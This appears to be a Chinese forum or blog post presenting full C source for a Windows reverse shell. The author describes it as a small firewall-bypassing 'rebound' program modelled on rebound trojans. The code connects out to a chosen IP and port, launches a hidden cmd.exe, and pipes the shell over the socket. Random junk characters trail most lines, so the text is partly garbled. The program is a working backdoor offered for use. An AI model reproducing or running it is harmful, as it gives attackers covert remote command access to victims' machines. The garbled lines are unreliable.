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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &~D.")Dz  
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/* ============================== `tUeT[  
Rebound port in Windows NT ).O\O)K  
By wind,2006/7 #Fb0;H9`  
===============================*/ [|P]St-  
#include %te'J G<  
#include ,<Do ^HB/  
2t Z\{=  
#pragma comment(lib,"wsock32.lib") 7J)Hwl  
%\s#e  
void OutputShell(); tjc5>T[Es8  
SOCKET sClient; 0B!mEg  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;Wp`th!F  
5 p(t")  
void main(int argc,char **argv) P(W\aLp  
{ BLYk <m  
WSADATA stWsaData; V< 9em7  
int nRet; O!@KM;  
SOCKADDR_IN stSaiClient,stSaiServer; ;d'O.i=  
?!Th-Cc&m  
if(argc != 3) R4K eUn"  
{ _4x[}e7KF  
printf("Useage:\n\rRebound DestIP DestPort\n");  nd*!`P  
return; 3GuMiht5  
} ~[bMfkc3  
G~mB=]  
WSAStartup(MAKEWORD(2,2),&stWsaData); E l8.D3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 83O^e&Bt  
hPCSLJ  
stSaiClient.sin_family = AF_INET; z|4@nqqX  
stSaiClient.sin_port = htons(0); >GF(.:7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $=6kh+n@  
EJSgTtp 2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E6KBpQcd[  
{ 5{x[EXE'  
printf("Bind Socket Failed!\n");  +T8XX@#  
return; #Z3I%bkw H  
} 9zM4D  
k)4lX|}Vm  
stSaiServer.sin_family = AF_INET; ";!1(xZr  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hG0lR.:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4OESsN$O  
8^ZM U{  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3=eGS  
{ My43\p  
printf("Connect Error!"); xQ(KmP2hl  
return; dpOL1rrE  
}  ~d<`L[  
OutputShell(); (>@syF%PB  
} vp}>#&  
V,* 0<7h  
void OutputShell() ?@uK s4  
{ ?PU(<A+  
char szBuff[1024]; ,`B>}  
SECURITY_ATTRIBUTES stSecurityAttributes; j2v[-N4 {J  
OSVERSIONINFO stOsversionInfo; '/]Aaf@U8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;V(}F!U\z  
STARTUPINFO stStartupInfo; 'Q;?_,`  
char *szShell; k=q%FlE  
PROCESS_INFORMATION stProcessInformation; `OpC-Z&  
unsigned long lBytesRead; ObHz+qRG  
= ,E(!Sp  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o dQ&0d  
:?of./Df|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WaZ@  
stSecurityAttributes.lpSecurityDescriptor = 0; w<^2h}5  
stSecurityAttributes.bInheritHandle = TRUE; @'| 6lG  
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*ytd.^@r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )T~ +>+t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !gH.st  
wQ/@+$>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /)OO)B-r  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mDt",#g  
stStartupInfo.wShowWindow = SW_HIDE; QBT-J`Pz  
stStartupInfo.hStdInput = hReadPipe; )-Sl/ G  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vkauX :M  
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GetVersionEx(&stOsversionInfo); 5O;oo@A:[  
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switch(stOsversionInfo.dwPlatformId) >|&OcU  
{ ba:du |Ec  
case 1: RgzSaP;;  
szShell = "command.com"; 2|H'j~  
break; U3iyuE  
default: ng)yCa_Ny  
szShell = "cmd.exe"; VlXy&oZ  
break; K#pt8Q  
} |k9j )Hg(  
$TW+LWb   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T/.y(8!0I8  
yA)+-  
send(sClient,szMsg,77,0); {*P7)  
while(1) 9(gOk  
{ MicVNs  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KKTfxNxJn  
if(lBytesRead) WiCM,wDi  
{ 4 Fc1 '  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tf}Q%)`f  
send(sClient,szBuff,lBytesRead,0); :zy'hu;  
} thboHPml{  
else nf@u7*# 6  
{ M/`z;a=EP  
lBytesRead=recv(sClient,szBuff,1024,0); gJfL$S'w  
if(lBytesRead<=0) break; ,OFr]74\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vy*Z"k  
} !suiqP1\*  
} 5v-;*  
OMC|.[  
return; Kpbbe r  
}
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